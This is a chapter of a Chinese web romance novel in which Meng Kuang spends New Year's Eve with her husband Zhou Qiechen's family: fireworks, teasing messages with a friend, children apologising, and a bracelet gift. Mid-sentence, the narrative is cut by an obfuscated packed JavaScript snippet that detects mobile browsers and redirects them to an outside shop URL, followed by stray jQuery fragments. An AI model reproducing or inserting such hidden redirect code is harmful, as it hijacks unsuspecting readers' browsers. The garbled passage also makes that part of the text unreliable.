15. 姻缘线

作品:《脱敏治疗

    孟况刚说完,全场一阵寂静,仿佛所有人都被按下了暂停键,直愣愣地盯着她瞧。


    孟况看了一圈,最终转到周且琛那儿,他神情产生了些微妙的变化,与他眼神交汇的一瞬间,她立刻就明白了,可是在他们眼里看来又有点欲盖弥彰的意思了。


    “...你最近工作辛苦了,营养得跟上。”


    说完,孟况专心埋头吃饭,愣是不敢再抬头。


    低头的一刹那,孟况表情痛苦狰狞。


    救命啊!她刚刚都说了些什么让人想入非非的话啊。


    其他人倒是没多想,只有周老爷子和张叔对视一眼,然后挂上懂得都懂的意味深长的笑容。


    吃过年夜饭之后,外面有烟花爆竹的响动,很是热闹有趣,漫天的烟火铺满点亮了沉寂漆黑的夜空,增添了不少斑斓。


    孟况也被爆裂声吸引过去,她站在阳台上仰望着,精致的面容倒映着明明灭灭的光彩,夜空炸开的烟花特别盛大奇幻,还有一些烟花在绽放过后又在空中发出滋滋的五彩作以回馈尾声。


    黑漆漆的天空此时像一块巨大的幕布,摆好布景过后,这场盛宴就会马不停蹄地上演。


    孟况没想到在郊外能看到烟花,依稀记得上一次还是在很小的时候,在外祖父家里看呢。


    她打开手机对准焦距,录了一段视频发给孟父孟母看看,顺道也转发给了叶曦。


    叶曦:【好羡慕你可以看到这么漂亮的烟花,倒是显得城市里冷清清的,没有一点儿年味,真没劲儿。】


    叶曦:【明年也带我去周家过年吧!!!】


    当然,最后一句是玩笑话。


    叶曦在家无聊,可能是因为看到孟况结了婚,于是趁着过年也狠狠催她一把,叶曦还跟她抱怨。


    叶曦:【你为什么结婚这么早?!我爸妈现在哪哪看我都不爽。】


    叶曦:【总千方百计地想撵我出去。】


    孟况:【那好吧。要不你在大街上随便拉个男大去闪婚?】


    叶曦:【可以蹲一个像你老公这样高配置的男人吗。】


    孟况还很负责地思考了下。


    【...我去问问他(?)】


    叶曦急眼。


    【?】


    【想绝交就直说。】


    一到零点,新年祝福消息铺天盖地。


    孟况给她随手发了8个8转账,聊表心意。


    叶曦:【原谅你了。】


    叶曦:【新年快乐!祝愿况况在新的一年越来越美腻,事业蒸蒸日上!和你老公周且琛长长久久,恩恩爱爱,甜甜蜜蜜,早点让我体验无痛当妈的滋味!】


    孟况一脸嫌弃。


    【?】


    【好歹毒的新年祝福。】


    【红包还我。】


    两人在微信上玩闹了一会儿,又给孟父孟母也发去了新年祝福,孟裕国往她卡里打了一笔钱,沈青容拍了张珠宝照片给她,是她最想要的那套,说是送给她的新年礼物。


    就等着她和周且琛回孟家的时候过来拿了。


    完了,又和其他人寒暄唠嗑一阵,突然听到下面有人在叫她。


    是许言晨和陈思诺。


    他们拖着一袋礼花枪、小金鱼摔炮、仙女棒之类的玩意在楼下等她。


    “漂亮姐姐,一起来玩呀!”


    陈思诺很热情地在招手。


    孟况童心未泯,手痒。也想下去跟他们玩一把。


    两个姨正在网上搓麻将,屏幕还放着春晚节目,但都没什么人感兴趣。


    他们这些东西都是张叔给代购买回来的,根本架不住两位小少爷和小小姐的需求,于是在吃过年夜饭后,他就买了回来。


    不过这些东西对小孩来说还是太危险了,于是安排了两位佣人在他们身边照看,结果许言晨态度坚决地拒绝,不想他们跟着。


    陈思诺就在一旁奶里奶气地说:“哥哥想要漂亮姐姐来跟我们一起玩。”


    许言晨瞪她。


    “就你话多。”


    张叔这会儿算是看明白了,两个小魔王很喜欢孟况。


    “言晨小少爷,思诺小小姐。”


    “她是你们且琛哥哥的妻子,你们要称呼她为嫂嫂的。”


    张叔语气轻柔纠正。


    想着孩子还小,孟况已经嫁入了周家,这个称呼还是得改回来比较妥当,以免小孩子叫习惯了,也会让孟况心里不舒服。


    但几个孩子不听,特别是许言晨,尤为抗拒。


    “算了张叔,喊姐姐也是一样的,由他们。”


    反正她也不在乎,叫她嫂嫂反倒是把她喊老了。


    还是姐姐更舒心一些。


    许言晨一听,更加神气。


    “慢得要死,这个烟花我都看腻了。”


    孟况不恼,故作惊讶抬手掩唇,揶揄他。


    “天呐!那你快把眼睛堵上。”


    他不讲话了,从里面搜出来打火机就要去点火,孟况夺过他的工具。


    “你是不是忘记了什么?”


    “什么。”


    孟况歪头,耐心地等他自己去想。


    周且琛走到阳台,接到一通电话,烟花还没放完,他仰头望着听完汇报,挂断之后,有些疲倦地靠在栏杆上,身影拓印在地板,黑黢黢的。


    忽然,门后露出一颗脑袋瓜,还有另外一个扭扭捏捏的躲得远。


    见状,周且琛直了直身躯,略带疑惑与不解,静静地看着那两个小家伙。


    陈思诺是第一个出来的。


    她天真又单纯,手里还拿着几支仙女棒,软嘟嘟地喊他。


    “...哥哥。”


    他恍惚一瞬,不太确定是在叫他还是身后的那个男孩。


    隔了十几秒,周且琛才后知后觉的确是在叫他。


    “怎么了吗。”


    他的语气算不上轻柔,但也不疏离冷淡。


    “哥哥有话要跟哥哥说...”


    陈思诺紧紧捏着仙女棒,摇晃身子,笨拙又稚气。许言晨躲在后面,再次听见她出卖自己,十分恼火,暴躁跳墙,直接蹦出来,气呼呼地指着她。


    人都出来了,许言晨也不好收场,嘴巴黏黏糊糊的,口齿不清地讲出那三个对他来说极为羞愧的字。


    “叽里咕噜说什么呢?你大哥可没听见。”


    孟况笑得明媚娇俏,她从帘子那里走出来,双手负于身后,慢悠悠地站在他们后面监督。


    被点了一番,许言晨想退场又下不去,只得咬牙切齿,头埋得特别低,就差趴着了。


    “对不起!”


    “行了吧。”


    长痛不如短痛。


    他咬咬牙,就把话说完了。


    然后也不知道是生谁的气,或者说是小孩子脸皮薄,羞愧难当,直接就跑进了房里,重重地把门给关上。


    周且琛还没反应过来发生了什么,一张惊为天人的脸庞除了平静之外还有惊愕。


    陈思诺牵他的大衣,声音软糯糯,她也跟着道歉。


    “...大哥,对不起,我们不该说你的坏话。”


    “你别生气,也别不让漂亮嫂嫂和我们玩,好吗?”


    思诺嘴巴够甜,小心思


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957879|193213||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    多。


    恐怕是听进去了张叔方才教导的话。


    张爷爷说漂亮姐姐是大哥的妻子。虽然不太懂是什么意思,但她大概知道他们是爸爸妈妈那种关系。


    那她想和姐姐一起玩,肯定要给大哥说好听的话。


    周且琛不明所以地望向她。孟况也没想到她忽然就改口,她朝他挑眉,摆出一副事不关己的样子。


    周且琛沉默一会儿,随即蹲下,耐心回应她。


    “没关系,我不生气。”


    “太好啦!那祝大哥新年快乐,恭喜发财。”她笑得跟个小太阳一样温暖,握成拳头恭喜,又伸出小手,讨要压岁红包。


    孟况刚要给他说什么来着的,却见他下一秒从内侧口袋里拿出两张红包信纸,稳稳地放在她手心。


    “一人一个。”


    “谢谢大哥!”


    她笑得特别开心,转身就兴冲冲地敲响了许言晨的门,进去。


    还是第一次。


    孟况在他身上看到了人情味。


    总算不再那么冰冷无情。


    这样多好啊,之前装什么深沉忧郁高冷男神。


    孟况有一丢丢成就感。


    感觉她在一点点剥开他的伪装。


    “没想到你还会准备红包。”


    她走到他身旁,一边点头,一边说道。


    孟况突然想到什么,有些不满地一手叉腰,另外一只手摊开在他面前,怎么说她也帮了他,要点奖励应该不过分吧。


    “我怎么没有红包?”


    “你想要多少?”他问。


    孟况:“你能给我多少。”


    周且琛:“怕你吞不下。”


    孟况:“才怪。”


    两人一来一回,孟况总能及时呛他几句。


    低头的瞬间,孟况收到了一条转账消息,她心满意足。


    “...你听他们说什么了?”


    也不知道两个人在一起待了多久,周且琛声音又低又沉,开口问她。


    孟况摸摸鼻子,神色有些不自然,那几个脏话,对着无辜的人她还说不出口。


    毕竟实在不堪入耳。


    “没什么。小孩子童言无忌,不用太在意的。”


    她一笔揭过,好在周且琛也不再多问。


    “哦对了,新年快乐。”


    她是最后一个向他说新年祝福的人。


    烟花放完了,夜也深了,春晚也已经步入了最后的尾声。


    孟况说完,摸出了根手工编织的绳子,是一条黑色的。


    另外一只红色戴在她手腕上,衬得她的皮肤格外细腻娇嫩。


    “在婚礼上,那位叫于清清的女孩子送来的新婚贺礼。”


    礼轻情意重。


    孟况想着借花献佛,趁过年送他?


    “你喜欢?”


    “手艺不错,对我来说很有参考和研究学习的价值。”


    孟况认真思量,不吝赞美。


    她拎着那只黑绳,又看到他手上已经戴了黑曜石,估计他应该不会戴。


    “你要吗?不要的话我就...”


    “给我吧。”


    他伸手,孟况没太反应过来,那根黑绳就已经系在他的手腕上了,和那串黑曜石叠戴在一起,还挺别致好看的。


    “谢谢。”


    “...不客气。反正也不是我做的。”


    这还是第一次听他这么认真地致谢。


    也不知道是针对的哪一句。


    今晚有太多第一次。


    孟况也是生平第一次,感到局促无措。